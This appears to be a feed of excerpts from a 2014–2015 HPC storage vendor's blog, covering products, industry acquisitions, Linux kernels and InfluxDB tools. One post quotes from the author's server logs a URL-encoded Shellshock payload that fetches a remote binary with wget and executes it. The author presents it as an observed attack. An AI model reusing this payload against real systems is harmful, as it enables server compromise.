18 Jun 2015 19:59:32 +0000 https://blog.scalability.org/2015/06/sios-v2-0-running-pxe-booted/ Our SIOS (Linux based OS, usually based upon Debian) has just been updated for jessie (Debian 8). This was necessary to support rkt, docker, etc. in addition to our other bits. Its been cooking in the background for a while, for, as you might have noticed from my posting frequency, I’ve been busy. But we are up, and running. Base distro version here: root@usn-ramboot:~# df -h Filesystem Size Used Avail Use% Mounted on tmpfs 8. https://blog.scalability.org/2015/06/off-to-chicago-for-the-trading-show/ Mon, 01 Jun 2015 14:41:44 +0000 https://blog.scalability.org/2015/06/off-to-chicago-for-the-trading-show/ Looking forward to our booth #243 at the Trading Show in Chicago. We’ll have a FastPath Cadence time series analytics unit with us. Should be fun! https://blog.scalability.org/2015/06/ma-avago-grabbed-broadcom-intel-grabs-altera/ Mon, 01 Jun 2015 14:39:42 +0000 https://blog.scalability.org/2015/06/ma-avago-grabbed-broadcom-intel-grabs-altera/ Avago continues its acquisition spree. Broadcom (network chipsets and NPUs, CPUs, etc.). This is looking like a more integrated semiconductor IP play here. They grabbed LSI, and shed the non-chippery bits. They grabbed PLX. And Emulex. As they say, curiouser and curiouser. This makes perfect sense to me, and given the other acquisition announced today, I am going to bet they will be talking (at least) to Xilinx. And then there’s Intel. https://blog.scalability.org/2015/05/ma-cisco-grabs-nutanix/ Fri, 15 May 2015 14:48:21 +0000 https://blog.scalability.org/2015/05/ma-cisco-grabs-nutanix/ [update] TL;DR this appears to be rumor/speculation. One would think that such an acquisition would be prominent on Nutanix’s web site. Its April fools, in May. /sigh Huge in the hyperconverged space (which, not so curiously, is where the day job is), and its setting up the battle lines between the major software/hardware players. Cisco was already number 5 hardware vendor, and was bragging about “beating the white boxes”. The last may be more wishful thinking than reality. https://blog.scalability.org/2015/05/massive-unapologetic-firepower-part-3-the-network/ Mon, 04 May 2015 21:54:40 +0000 https://blog.scalability.org/2015/05/massive-unapologetic-firepower-part-3-the-network/ Take the worlds fastest hyperconverged storage-compute server. Mix into this the worlds fastest networking. What do you get? (hint: something you can order today) ~# iperf -c 192.168.1.1 -l128k -w 512k -P10 -t 4 ------------------------------------------------------------ Client connecting to 192.168.1.1, TCP port 5001 TCP window size: 1.00 MByte (WARNING: requested 512 KByte) ------------------------------------------------------------ [ 11] local 192.168.1.2 port 50804 connected with 192.168.1.1 port 5001 [ 4] local 192.168.1.2 port 50796 connected with 192. https://blog.scalability.org/2015/05/thoughts-after-a-small-capital-raise/ Mon, 04 May 2015 21:45:56 +0000 https://blog.scalability.org/2015/05/thoughts-after-a-small-capital-raise/ So the day job did a small capital raise. Not a huge amount, but helpful for some day to day stuff. We did this in part because a larger effort we were working on stalled for reasons I won’t go into here. Looking at where we are and where we need to be, I am amazed at the profound need for performance throughout the hyperconverged space, and blown away that we appear to be the only one focused upon it. https://blog.scalability.org/2015/05/diagnostics/ Mon, 04 May 2015 13:31:21 +0000 https://blog.scalability.org/2015/05/diagnostics/ This is something of a hard post to write, for a number of reasons, not the least of which is that the topic comes as something of a surprise to me. I am just going to state it, and then discuss it. The vast majority of people (and companies) out there, whom think they know something of hardware/software/system level diagnostics and problem identification (from newbie to “veteran”) are either full of it, or really clueless. https://blog.scalability.org/2015/04/been-heads-down-working-very-hard-on-something-very-cool/ Thu, 30 Apr 2015 21:58:12 +0000 https://blog.scalability.org/2015/04/been-heads-down-working-very-hard-on-something-very-cool/ More soon. We’ll post here, with some basic results. Insanely cool stuff. https://blog.scalability.org/2015/04/booth-at-bioit-world-15-in-boston/ Tue, 21 Apr 2015 11:03:32 +0000 https://blog.scalability.org/2015/04/booth-at-bioit-world-15-in-boston/ Should be fun, we will have booth (#461) on the side near the thoroughfare for the talks. Our HPC on Wall Street booth looked like this: [ ](/images/HPConWS-booth-spring2015.jpg) The display on the monitor is from our FastPath Cadence machine, and is part of the performance dashboard, built upon InfluxDB, Grafana, sios-metrics, and influxdbcli. Here is a blown up view, note the vertical axes for BW (GB/s) and IOPs. [ ](/images/cadence-dash-spring2015.jpg) https://blog.scalability.org/2015/04/theme-updated/ Tue, 21 Apr 2015 00:36:30 +0000 https://blog.scalability.org/2015/04/theme-updated/ … so we don’t get lost in the mobile-geddon changes. https://blog.scalability.org/2015/04/nebula-shuts-down/ Wed, 01 Apr 2015 23:10:45 +0000 https://blog.scalability.org/2015/04/nebula-shuts-down/ Nebula, a cloud “appliance” (and company) has shut down. The software is open source, so their customers can pay others to provide support, or migrate to another stack. This isn’t a public cloud company, rather a private cloud company. There is little operational risk in moving from one openstack build to another. Feel free to reach out to me (landman @ scalability.org) privately if you need to speak to someone about this. https://blog.scalability.org/2015/04/ma-convey-snapped-up-by-micron/ Wed, 01 Apr 2015 18:36:45 +0000 https://blog.scalability.org/2015/04/ma-convey-snapped-up-by-micron/ Rich at InsideHPC has the story. There is a good fit for Micron, as they are rapidly turning into one of the stronger players in the space. As I had noted, the storage OEMs are either buying into vertical integration or partnering to make it happen. Convey is actually a natural fit given other of Micron’s projects. The big question is, for the OEMs not going this route, or waiting to go this route, will that strategy work? https://blog.scalability.org/2015/04/announcement-of-new-storage-appliance/ Wed, 01 Apr 2015 05:01:11 +0000 https://blog.scalability.org/2015/04/announcement-of-new-storage-appliance/ More information in our video (linked here in case the video doesn’t embed properly, you may need to enable flash and scripting on the page to see it embed*). Also, check out the page at the day job: we don’t do google or other analytics (just local stuff here), so this shouldn’t be a security issue. Let us know if you believe otherwise. https://blog.scalability.org/2015/03/ma-blekko-grabbed-by-ibm-for-watson/ Sun, 29 Mar 2015 22:52:19 +0000 https://blog.scalability.org/2015/03/ma-blekko-grabbed-by-ibm-for-watson/ Have a look at the page. Blekko was started by a number of people including Greg Lindahl having spent many years in the HPC world. He’s another recovering physical scientist (astronomer as I remember). This is interesting as it gives a sense as to where IBM sees its future. They aren’t (it looks like to me) trying to compete with google, rather, trying to add interesting capability to Watson. They see Watson and things derived from it as their future. https://blog.scalability.org/2015/03/the-worlds-fastest-hyper-converged-appliance-is-faster-and-more-affordable-than-ever/ Mon, 16 Mar 2015 16:13:10 +0000 https://blog.scalability.org/2015/03/the-worlds-fastest-hyper-converged-appliance-is-faster-and-more-affordable-than-ever/ This is a very exciting hyper-converged system, representing our next generation of time series, and big data analytical systems. Tremendous internal bandwidths coupled with massive internal parallelism, and minimal latency design on networks. This unit has been designed to focus upon delivering the maximal performance possible in an as minimal footprint … both rack based and cost wise … as possible. You can use these as independent stand alone units, integrate them into a larger FastPath Unison system We have our software stack (SIOS) integrated onto each unit, and include our builds of Python + Pandas/SciPy/NumPy, R, and Perl. https://blog.scalability.org/2015/03/interesting-q1-so-far-for-day-job/ Sat, 14 Mar 2015 14:29:07 +0000 https://blog.scalability.org/2015/03/interesting-q1-so-far-for-day-job/ Our Q1 is usually quiet, fairly low key. Not this one. Looks like lots of pent up demand. We are deep into record territory, running 200+% of normal, with possibility of more. Another new wrinkle is that our small investment round is mostly complete. This is new territory for us, and you may have noticed I’d backed off posting intensity over the last half year or so while this was going on. https://blog.scalability.org/2015/03/day-has-come/ Sat, 14 Mar 2015 14:10:48 +0000 https://blog.scalability.org/2015/03/day-has-come/ I like Π … apple, cherry, etc. For those whom don’t get the pun, dates in the US are often written as Month/Day/Year, with year being abbreviated by 2 digits. So with this formatting, today is 3/14/15, or roughly the first 5 digits of Π, which is defined to be the ratio of circumference to diameter of circle on a 2D plane. You can extend the pun, by noting at 9:26. https://blog.scalability.org/2015/03/has-alibaba-been-compromised/ Wed, 11 Mar 2015 23:59:18 +0000 https://blog.scalability.org/2015/03/has-alibaba-been-compromised/ I saw this attack in the day job’s web server logs today. From IP address 198.11.176.82, which appears to point back to Alibaba. This doesn’t mean anything in and of itself, until we look at the payload. ()%20%7B%20:;%20%7D;%20/bin/bash%20-c%20/x22rm%20-rf%20/tmp/*;echo%20wget%20http://115.28.231.237:999/htrdps%20-O%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20echo%20By%20China.Z%20%3E%3E%20/tmp/Run.sh;echo%20chmod%20777%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20rm%20-rf%20/tmp/Run.sh%20%3E%3E%20/tmp/Run.sh;chmod%20777%20/tmp/Run.sh;/tmp/Run.sh/x22 This appears to be an attempt to exploit a bash hole. What is interesting is the IP address to pull the second stage payload from. Run a whois against that … I’ll wait. https://blog.scalability.org/2015/03/a-completely-unsolved-problem/ Mon, 09 Mar 2015 18:08:13 +0000 https://blog.scalability.org/2015/03/a-completely-unsolved-problem/ contact management across multiple devices/OSes/applications. Yeah, I know, just use iCloud/Gmail/etc. Except they are all broken. And not a little bit. I rely upon one, consistent, correct contact list that has email, phone, etc. for all the people I know and communicate with. In years past, I’ve had this list sync back and forth to Gmail via google. And it used to work. Then iPhone5 and well, ya know, it broke. https://blog.scalability.org/2015/03/scalable-informatics-customer-milford-film-and-animation-does-awesome-projects/ Fri, 06 Mar 2015 16:43:22 +0000 https://blog.scalability.org/2015/03/scalable-informatics-customer-milford-film-and-animation-does-awesome-projects/ Its nice to hear success stories from our customers. In this case, our friends and customers at Milford Film and Animation have been using our systems for a number of years to provide the basis for their storage efforts. Their systems are very computationally, network, and IO intensive. There is a tremendous amount of rendering, editing, and many other things that require absolutely the highest performance you can get in a dense package. https://blog.scalability.org/2015/03/my-vote-for-most-awesome-mac-osx-software/ Wed, 04 Mar 2015 21:09:04 +0000 https://blog.scalability.org/2015/03/my-vote-for-most-awesome-mac-osx-software/ Karabiner If you switch back and forth between Linux and Mac on same keyboard, this is an absolute must have. From my perspective, the keys in Mac are horribly borked. Home and End do not do what I expect. Control-Anything doesn’t work except in exceptional cases. iTerm2 (also very good Mac software) largely does the right thing on its own, but the keyboard side of MacOSX is basically borked. This lets you unbork it. https://blog.scalability.org/2015/03/memory-channel-flash-is-it-over/ Wed, 04 Mar 2015 19:45:40 +0000 https://blog.scalability.org/2015/03/memory-channel-flash-is-it-over/ [full disclosure: day job has a relationship with Diablo] Russell just pointed this out to me. The short (pedestrian) version (I’ve got no information that is not public, so I can’t disclose something I don’t know anyway): Netlist filed a patent infringement suit against Diablo, and then included SanDisk as they bought Smart Storage, whom worked with Diablo prior to Smart being acquired by SanDisk. Netlist appears to have won an, at least temporary, injunction against Diablo. https://blog.scalability.org/2015/03/new-all-flash-array-sandisks-infiniflash/ Wed, 04 Mar 2015 18:19:23 +0000 https://blog.scalability.org/2015/03/new-all-flash-array-sandisks-infiniflash/ Interesting development from SanDisk. Not quite an M&A; bit, but an attempt at accelerating adoption of non-spinning storage by bringing out a proof of concept product in a few flavors. They are aiming at $2/GB for this system. This is an array product though, so you need to attach it to a set of servers. Also, for something this large, the spec’s are kind of disappointing. 7GB/s maximum and 1M IOPs. https://blog.scalability.org/2015/03/ma-hgst-acquires-amplidata/ Wed, 04 Mar 2015 17:12:43 +0000 https://blog.scalability.org/2015/03/ma-hgst-acquires-amplidata/ This is closer to home. Amplidata is an erasure coded cold storage system atop “cheap” hardware. HGST makes, of course, storage devices. This continues a trend in vertical integration of folks with systems experience, and folks who make the things that go into these systems. If you control more of the stack, you can create more value to your bottom line … up to a point. The flip side to this is if you start competing with your customers. https://blog.scalability.org/2015/02/ma-avago-the-lsi-acquirers-just-bought-emulex/ Thu, 26 Feb 2015 15:27:14 +0000 https://blog.scalability.org/2015/02/ma-avago-the-lsi-acquirers-just-bought-emulex/ Ok, this is starting to look like someone is buying up the tech behind storage and storage networking on the hardware side. Avago acquired LSI in 2013, and now they’ve done and grabbed Emulex. Emulex has a large FC capability, but I can’t imagine that this is the only reason for this buy. They also have converged network adapters, RDMA and offload capability, and other bits. They are an OEM to many large vendors. https://blog.scalability.org/2015/02/influxdb-cli-queries-now-with-regex/ Wed, 18 Feb 2015 06:25:45 +0000 https://blog.scalability.org/2015/02/influxdb-cli-queries-now-with-regex/ This is the way queries are supposed to work. Note the perl regex in the series name unison> select * from /^usn-ramboot.nettotals.kb(in|out)$/ limit 10 D[23261] Scalable::TSDB::_generate_url; dbquery = 'select * from /^usn-ramboot.nettotals.kb(in|out)$/ limit 10' D[23261] Scalable::TSDB::_generate_url; query = 'p=XXXXXXXX&u;=scalable&chunked;=1&time;_precision=s&q;=select%20%2A%20from%20%2F%5Eusn-ramboot.nettotals.kb%28in%7Cout%29%24%2F%20limit%2010' D[23261] Scalable::TSDB::_generate_url; url = 'http://localhost:8086/db/unison/series?p=XXXXXXX&u;=scalable&chunked;=1&time;_precision=s&q;=select%20%2A%20from%20%2F%5Eusn-ramboot.nettotals.kb%28in%7Cout%29%24%2F%20limit%2010' D[23261] Scalable::TSDB::_send_chunked_get_query -> reading 0.009837s D[23261] Scalable::TSDB::_send_chunked_get_query -> bytes_received = 530B D[23261] Scalable::TSDB::_send_chunked_get_query return code = 200 D[23261] Scalable::TSDB::_send_chunked_get_query cols = [time,sequence_number,usn-ramboot.nettotals.kbin] D[23261] Scalable::TSDB::_send_chunked_get_query cols = [time,sequence_number,usn-ramboot. https://blog.scalability.org/2015/02/influxdb-cli-ready-for-people-to-play-with/ Wed, 18 Feb 2015 02:22:22 +0000 https://blog.scalability.org/2015/02/influxdb-cli-ready-for-people-to-play-with/ The code is on github. Installation should be simple sudo make INSTALLPATH=/path/where/you/want/it It will install any needed Perl modules for you. I’ve reduced the dependency set to LWP::UserAgent, Getopt::Lucid, JSON::PP, and some text processing. As much as I like Mojolicious, the UserAgent was 1/10th the speed of LWP for the same work. Once it is done, point it over to an InfluxDB database instance: landman@metal:~/work/development/influxdbcli$ ./influxdb-cli.pl --user scalable --pass XXXXXXX --host 192. https://blog.scalability.org/2015/02/so-i-finally-figured-it-out/ Sat, 14 Feb 2015 19:32:29 +0000 https://blog.scalability.org/2015/02/so-i-finally-figured-it-out/ https://blog.scalability.org/2015/02/lovehate-relationship-with-new-hardware/ Sat, 14 Feb 2015 04:21:03 +0000 https://blog.scalability.org/2015/02/lovehate-relationship-with-new-hardware/ One of the dangers of dealing with newer hardware is often that, it doesn’t work so well. Or the drivers get hosed in mysterious ways. We’ve got some nice shiny new 10GbE cards for a set of Unison systems going into a customer next week. We had some very odd issues with other 10GbE cards, so we rolled over to newer design cards. Younger silicon, younger design. Newer kernel module. I can’t say I am enjoying this experience thus far. https://blog.scalability.org/2015/02/real-measurement-is-hard/ Mon, 09 Feb 2015 01:52:29 +0000 https://blog.scalability.org/2015/02/real-measurement-is-hard/ I had hinted at this last week, so I figure I better finish working on this and get it posted already. The previous bit with language choice wakeup was about the cost of Foreign Function Interfaces, and how well they were implemented. For many years I had honestly not looked as closely at Python as I should have. I’ve done some work in it, but Perl has been my go-to language. https://blog.scalability.org/2015/02/when-the-revolution-hits-in-force/ Fri, 06 Feb 2015 15:35:34 +0000 https://blog.scalability.org/2015/02/when-the-revolution-hits-in-force/ Our machines will be there, helping power the genomics pipelines to tremendous performance. Performance is an enabling feature. Without it you cannot even begin to hope to perform massive scale analytics. With it, you can dream impossible dreams. This article came out talking about a massive performance analytics pipeline at Nationwide Children’s Hospital in Ohio. This pipeline runs on a cluster attached to Scalable Informatics FastPath Unison storage. This is a very dense, very fast system, interconnected with Mellanox FDR Infiniband, Chelsio 40GbE, and leveraging BeeGFS from thinkparq. https://blog.scalability.org/2015/02/a-wake-up-call-about-language-choices-for-certain-use-cases/ Thu, 05 Feb 2015 03:20:32 +0000 https://blog.scalability.org/2015/02/a-wake-up-call-about-language-choices-for-certain-use-cases/ https://blog.scalability.org/2015/02/ma-in-our-space/ Tue, 03 Feb 2015 03:00:20 +0000 https://blog.scalability.org/2015/02/ma-in-our-space/ The day job’s products have never been stronger, fit together as well, or had as great a story arc as they do today. We can deliver denser, faster, easier to setup and manage systems quite easily. Our application stacks run atop this system on our ample computing power, and we provide massive network pipes in/out, as data motion is hard. Many more cool things are coming, but for now, we are working very hard on building something awesome. https://blog.scalability.org/2015/02/hype-at-the-speed-of-hype-or-big-data-marketing-and-media/ Sun, 01 Feb 2015 15:32:04 +0000 https://blog.scalability.org/2015/02/hype-at-the-speed-of-hype-or-big-data-marketing-and-media/ There was a great post on the marketing of big data by John Foreman on his blog. I found it a very enjoyable read for one … and it showed that hype is a self-similar phenomenon. No matter what topic it is in, some people will try to generate and exploit the generated hype, regardless of the true information content associated with it. I could shake my head, but I’ve seen this, many times over my career. https://blog.scalability.org/2015/01/shakes-head-chuckles-yeah-we-couldnt-see-that-one-coming/ Tue, 27 Jan 2015 18:54:03 +0000 https://blog.scalability.org/2015/01/shakes-head-chuckles-yeah-we-couldnt-see-that-one-coming/ Just to get this out of the way, apart from this ideologically and politically charged debasement of real science, I am and remain firmly a “believer”* that the earths climate has changed, has been changing, will change, and continue to change with or without our input. Moreover, our climate has gone through some remarkable changes over its existence, all lovingly preserved in one way or another in the fossil record, and through mechanisms that effectively store state of a system. https://blog.scalability.org/2015/01/why-doesnt-linkedin-make-removing-a-contact-easy/ Tue, 27 Jan 2015 16:11:34 +0000 https://blog.scalability.org/2015/01/why-doesnt-linkedin-make-removing-a-contact-easy/ I don’t get this. Yeah, sure, your contacts are curated, and I don’t accept everyone. I need to see some aspect of a connection and be pretty sure they wont spam me personally or try to spam my contacts. So when I find out that this is what happens, I want to block their access to me. Which usually means un-connecting with them. So why does LinkedIn make this effectively impossible on the phone apps? https://blog.scalability.org/2015/01/where-have-you-been-all-my-life-ffiplatypus/ Tue, 27 Jan 2015 03:38:03 +0000 https://blog.scalability.org/2015/01/where-have-you-been-all-my-life-ffiplatypus/ Oh my … this is goodness I’ve been missing badly in Perl. Just learned about it this morning. Short version. You want to mix programming languages for implementation of some project. One language makes development of some subset of functions very easy, while another language handles another part very well. You need some sort of layer to handle this usually, or a way to sanely map. FFI is the concept behind this … and while there is no mention of CORBA or XDR/RPC type things, this is the logical follow-on to these (in their time) ground breaking technologies. https://blog.scalability.org/2015/01/ibm-layoffs-to-hit-25-or-so-of-the-company/ Mon, 26 Jan 2015 00:14:33 +0000 https://blog.scalability.org/2015/01/ibm-layoffs-to-hit-25-or-so-of-the-company/ [Update] As I had wondered, and other suggested to me, this number (25%) was likely a click bait fabrication. Forbes and others also “fell for it.” I’ll admit I did as well. It was too large to ignore, but it also didn’t make sense. Close down mainframe and storage? Seriously? Lets call this what it is, an internet rumor that was busted. Paraphrasing Mark Twain “An internet rumor can travel around the world while the truth is still putting on its shoes”. https://blog.scalability.org/2015/01/finally-a-desktop-linux-that-just-works/ Thu, 22 Jan 2015 01:48:39 +0000 https://blog.scalability.org/2015/01/finally-a-desktop-linux-that-just-works/ I’ve been a user of Linux on the desktop, as my primary desktop, for the last 16 years. In that time, I’ve had laptops with Windows flavors (95, XP, 2000, 7), a MacOSX desktop. Before that, my first laptop I had bought (while working on my thesis) was a triple boot job, with DOS, Windows 9x, and OS2. I used the latter for when I was traveling and needed to write; the thesis was written in LaTeX and I could easily move everything back and forth between that and my Indy at home, and my office Indigo. https://blog.scalability.org/2015/01/stateless-booting/ Sat, 17 Jan 2015 06:37:24 +0000 https://blog.scalability.org/2015/01/stateless-booting/ https://blog.scalability.org/2015/01/coraid-may-be-going-down/ Fri, 16 Jan 2015 07:26:08 +0000 https://blog.scalability.org/2015/01/coraid-may-be-going-down/ According to The Register. No real differentiation (AoE isn’t that good, and the Seagate/Hitachi network drives are going to completely obviate the need for such things). We once used and sold Coraid to a customer. The linux client side wasn’t stable. iSCSI was coming up and was actually quite a bit better. We moved over to it. This was during our build vs buy phase. We weren’t sure if we could build a better box. https://blog.scalability.org/2015/01/anatomy-of-a-fail-the-internet-of-broken-software-stacks/ Fri, 16 Jan 2015 03:59:28 +0000 https://blog.scalability.org/2015/01/anatomy-of-a-fail-the-internet-of-broken-software-stacks/ So I’ve been trying to diagnose a problem with my Android devices running out their batteries very quickly. And at the same time, I’ve been trying to understand why my address bar on Thunderbird has taken a very long time to respond. I had made a connection earlier today when I had noticed the 50k+ contacts in my contact list, of which maybe 2000 were unique. I didn’t quite understand it. https://blog.scalability.org/2015/01/drivers-developed-largely-out-of-kernel-and-infrequently-synced/ Thu, 15 Jan 2015 19:59:31 +0000 https://blog.scalability.org/2015/01/drivers-developed-largely-out-of-kernel-and-infrequently-synced/ One of the other aspects of what we’ve been doing has been forward porting drivers into newer kernels, fixing the occasional bug, and often rewriting portions to correct interface changes. I’ve found that subsystem vendors seem to prefer to drop code into the kernel very infrequently. Sometimes once every few years are they synced. Which leads to distro kernels having often terribly broken device support. And often very unstable device support. https://blog.scalability.org/2015/01/parallel-building-debian-kernels-and-why-its-not-working-and-how-to-make-it-work/ Thu, 15 Jan 2015 17:02:53 +0000 https://blog.scalability.org/2015/01/parallel-building-debian-kernels-and-why-its-not-working-and-how-to-make-it-work/ So we build our own kernels. No great surprise, as we put our own patches in, our own drivers, etc. We have a nice build environment for RPMs and .debs. It works, quite well. Same source, same patches, same make file driving everything. We get shiny new and happy kernels out the back end, ready for regression/performance/stability testing. Works really well. But … but … parallel builds (e.g. leveraging more than 1 CPU) work only for the RPM builds. https://blog.scalability.org/2015/01/amusing-fail/ Wed, 14 Jan 2015 16:55:48 +0000 https://blog.scalability.org/2015/01/amusing-fail/ I use Mozilla’s thunderbird mail client. For all its faults, it is still the best cross platform email system around. Apple’s mail client is a bad joke and only runs on apple devices (go figure). Linux’s many offerings are open source, portable, and most don’t run well on my Mac laptop. I no longer use Windows apart from running in a VirtualBox environment. And I would never go back to OutLook anyway (used it once, 15 years ago or so … never again). https://blog.scalability.org/2015/01/the-interview-no-not-that-one/ Wed, 07 Jan 2015 20:58:44 +0000 https://blog.scalability.org/2015/01/the-interview-no-not-that-one/ Rich at InsideHPC.com (you do read it daily, don’t you?) just posted our (long) interview from SC14. Have a look at it here (http://insidehpc.com/2015/01/video-scalable-informatics-steps-io-sc14/) . As a reminder, Portable PetaBytes are for sale! And yes, the response has been quite good … More soon … And no, we aren’t going to hack anyone https://blog.scalability.org/2015/01/micro-meso-and-macro-shifts/ Fri, 02 Jan 2015 23:52:25 +0000 https://blog.scalability.org/2015/01/micro-meso-and-macro-shifts/ The day job lives at a crossroads of sorts. We design, build, sell, and support some of the fastest hyperconverged (aka tightly coupled) storage and computing systems in market. We’ve been talking about this model for more than a decade, and interestingly, the market for this has really taken off over the last 12 months. The idea is very simple. Keep computing, networking, and storage very tightly tied together, and enable applications to leverage the local (and distributed) resources at the best possible speed. https://blog.scalability.org/2014/12/friday-morningafternoon-code-optimization-fun/ Fri, 12 Dec 2014 19:17:50 +0000 https://blog.scalability.org/2014/12/friday-morningafternoon-code-optimization-fun/ https://blog.scalability.org/2014/12/inventory-reduction-scalableinfo/ Wed, 10 Dec 2014 18:47:00 +0000 https://blog.scalability.org/2014/12/inventory-reduction-scalableinfo/ Its that time of year, when the inventory fairies come out and begin their counting. Math isn’t hard, but the day job would like a faster and easier count this year. So, the day job is working on selling off existing inventory. We have 4 units ready to go out the door to anyone in need of 70-144TB usable storage at 5-6 GB/s per unit. Specs are as follows: 16-24 processor cores 128 GB RAM 48x {2,3,4} TB top mount drives 4x rear mount SSDs (OS/metadata cache) Scalable OS (Debian Wheezy based Linux OS) 3 year warranty As this is inventory reduction, the more inventory you take, the happier we are (and the less work that the inventory fairies have to do). https://blog.scalability.org/2014/12/the-portablepetabyte-coming-to-a-data-center-near-you/ Fri, 05 Dec 2014 21:30:20 +0000 https://blog.scalability.org/2014/12/the-portablepetabyte-coming-to-a-data-center-near-you/ As seen at SC14. We have our Portable PetaByte systems available for sale. Half rack to many racks, 1 PB and upwards, 20GB/s and up. Faster with SSDs. See the link above! https://blog.scalability.org/2014/11/three-years/ Sun, 30 Nov 2014 14:35:02 +0000 https://blog.scalability.org/2014/11/three-years/ Its been 3 years to the day since I wrote this. As we’ve been doing before this happened, and after this happened, we are going to a TSO concert on the anniversary of the surgery. Its an affirmation of sorts. I can tell you that 3 years in, it has changed me in some fairly profound ways … I no longer take some things for granted. I try to spend more time with the family, do more things with them. https://blog.scalability.org/2014/11/systemd-and-the-future-of-linux-init-processing/ Sat, 29 Nov 2014 18:28:02 +0000 https://blog.scalability.org/2014/11/systemd-and-the-future-of-linux-init-processing/ An interesting thing happened over the last few months and years. Systemd, a replacement init process for Linux, gained more adherents, and supplanted the older style init.d/rc scripting in use by many distributions. Ubuntu famously abandoned init.d style processing in favor of upstart and others in the past, and has been rolling over to systemd. Red Hat rolled over to Systemd. As have a number of others. Including, surprisingly, Debian. For those whom don’t know what this is, think of it this way. https://blog.scalability.org/2014/11/brings-a-smile-to-my-face/ Fri, 28 Nov 2014 05:58:13 +0000 https://blog.scalability.org/2014/11/brings-a-smile-to-my-face/ My soon to be 15 year old daughter was engrossed with something on her laptop yesterday. Thinking it was fan-fiction, I asked her what she was writing. She knitted her brow for a moment, and looked up. “Its code combat Dad.” she said, quite matter of factly. I must have had a slightly startled expression on my face. I knew she had dabbled with it, and had recommended (/sigh) Python as a language, after she took (and aced) a Java class last year, as Python is inherently simpler. https://blog.scalability.org/2014/11/learning-to-respect-my-gut-feelings-again/ Sun, 23 Nov 2014 17:16:38 +0000 https://blog.scalability.org/2014/11/learning-to-respect-my-gut-feelings-again/ A “gut feeling” is, at a deep level, a fundamental sense of something that you can’t necessarily ascribe metrics to, you can’t quantify exactly. Its not always right. Its a subconscious set of facts, ideas, concepts that seem to suggest something below the analytical portion of your mind, and it could bias you into a particular set of directions. Or you could take it as an aberration and go with “facts”. https://blog.scalability.org/2014/11/sc14-day-2-lucerahq-tops-scalableinfo-hardware-with-scalable-info-hardware/ Wed, 19 Nov 2014 16:57:44 +0000 https://blog.scalability.org/2014/11/sc14-day-2-lucerahq-tops-scalableinfo-hardware-with-scalable-info-hardware/ Report XTR141111 was just released by STAC Research for the M3 benchmarks. We are absolutely thrilled, as some of our records were bested by newer versions of our hardware with newer software stack. Congratulations to Lucera, STAC Research for getting the results out, and the good folks at McObject for building the underlying database technology. This result continues and extends Scalable Informatics domination of the STAC M3 results. I’ll check to be sure, but I believe we are now the hardware side of most of the published records. https://blog.scalability.org/2014/11/starting-to-come-around-to-the-idea-that-swap-in-any-form-is-evil/ Sun, 16 Nov 2014 17:37:16 +0000 https://blog.scalability.org/2014/11/starting-to-come-around-to-the-idea-that-swap-in-any-form-is-evil/ Here’s the basic theory behind swap space. Memory is expensive, disk is cheap. Only use the faster memory for active things, and aggressively swap out the less used things. This provides a virtual address space larger than physical/logical memory. Great, right? No. Heres why. swap makes the assumption that you can always write/read to persistent memory (disk/swap). It never assumes persistent memory could have a failure. Hence, if some amount of paged data on disk suddenly disappeared, well … Put another way, it increases your failure likelihood, by involving components with higher probability of failure into a pathway which assumes no failure. https://blog.scalability.org/2014/11/sc14-t-minus-2-days-and-counting-hpcmatters/ Sun, 16 Nov 2014 17:12:57 +0000 https://blog.scalability.org/2014/11/sc14-t-minus-2-days-and-counting-hpcmatters/ On the plane down to NOLA. Going to do booth setup, and then network/machine/demo setup. We’ll have a demo visualfx reel from a customer whom uses Scalable Informatics JackRabbit, DeltaV (and as the result of an upgrade yesterday), Unison. Looking forward to getting everything going, and it will be good to see everyone at the show! https://blog.scalability.org/2014/11/gui-updates-oh-my/ Thu, 13 Nov 2014 16:58:38 +0000 https://blog.scalability.org/2014/11/gui-updates-oh-my/ https://blog.scalability.org/2014/11/30tb-flash-disk-parallel-file-system-massive-network-connectivity/ Thu, 13 Nov 2014 00:42:07 +0000 https://blog.scalability.org/2014/11/30tb-flash-disk-parallel-file-system-massive-network-connectivity/ This will be fun to watch run … Scalable Informatics FastPath Unison for the win! https://blog.scalability.org/2014/11/sc14-t-minus-6-and-counting/ Wed, 12 Nov 2014 23:55:35 +0000 https://blog.scalability.org/2014/11/sc14-t-minus-6-and-counting/ Scalable’s booth is #3053. We’ll have some good stuff, demos, talks, and people there. And coffee. Gotta have the coffee. More soon, come by and visit us! https://blog.scalability.org/2014/11/mixing-programming-languages-for-fun-and-profit/ Wed, 12 Nov 2014 21:55:56 +0000 https://blog.scalability.org/2014/11/mixing-programming-languages-for-fun-and-profit/ I’ve been looking for a simple HTML5-ish way to represent our disk drives in our Unison units. I’ve been looking for some simple drawing libraries in javascript to make this higher level, so I don’t have to handle all the low level HTML5 bits. I played with Raphael and a few others (including paper.js). I wound up implementing something in Raphael. The code that generated this was a little unwieldly … as javascript doesn’t quite have all the constructs one might expect from a modern language. https://blog.scalability.org/2014/10/turnkey-low-cost-and-high-density-1pb-usable-at-20-gbs-sustained/ Wed, 29 Oct 2014 18:48:03 +0000 https://blog.scalability.org/2014/10/turnkey-low-cost-and-high-density-1pb-usable-at-20-gbs-sustained/ Fully turnkey, we’d ship a rack with everything pre-installed/configured. Some de-palletizing required, but its plug and play (power, disks) after that. More details, and a sign up to get a formal quote here. This would be in 24U of rack space for less than $0.18/raw GB or $0.26/usable GB. Single file system name space, a single mount point. Leverages BeeGFS, and we have VMs to provide CIFS/SMB access, as well as NFS access, in addition to BeeGFS native client. https://blog.scalability.org/2014/10/velocity-matters/ Sun, 19 Oct 2014 16:36:20 +0000 https://blog.scalability.org/2014/10/velocity-matters/ For the last decade plus, the day job has been preaching that performance is an advantage, a feature you need, a technological barrier for those with both inefficient infrastructures and built in resistance to address these issues. You find the latter usually at organizations with purchasing groups that dominate the users and the business owners. The advent of big data, (ok, this is what the second or third time around now) with data sets that have been pushing performance capabilities of infrastructure has been putting the exclamation point on this for the past few years. https://blog.scalability.org/2014/10/and-the-0-8-3-influxdb-no-longer-works-with-the-influxdb-perl-module/ Thu, 16 Oct 2014 02:30:14 +0000 https://blog.scalability.org/2014/10/and-the-0-8-3-influxdb-no-longer-works-with-the-influxdb-perl-module/ I ran into this a few weeks ago, and am just getting around to debugging it now. Traced the code, set up a debugger and followed the path of execution, and … and … Yup, its borked. 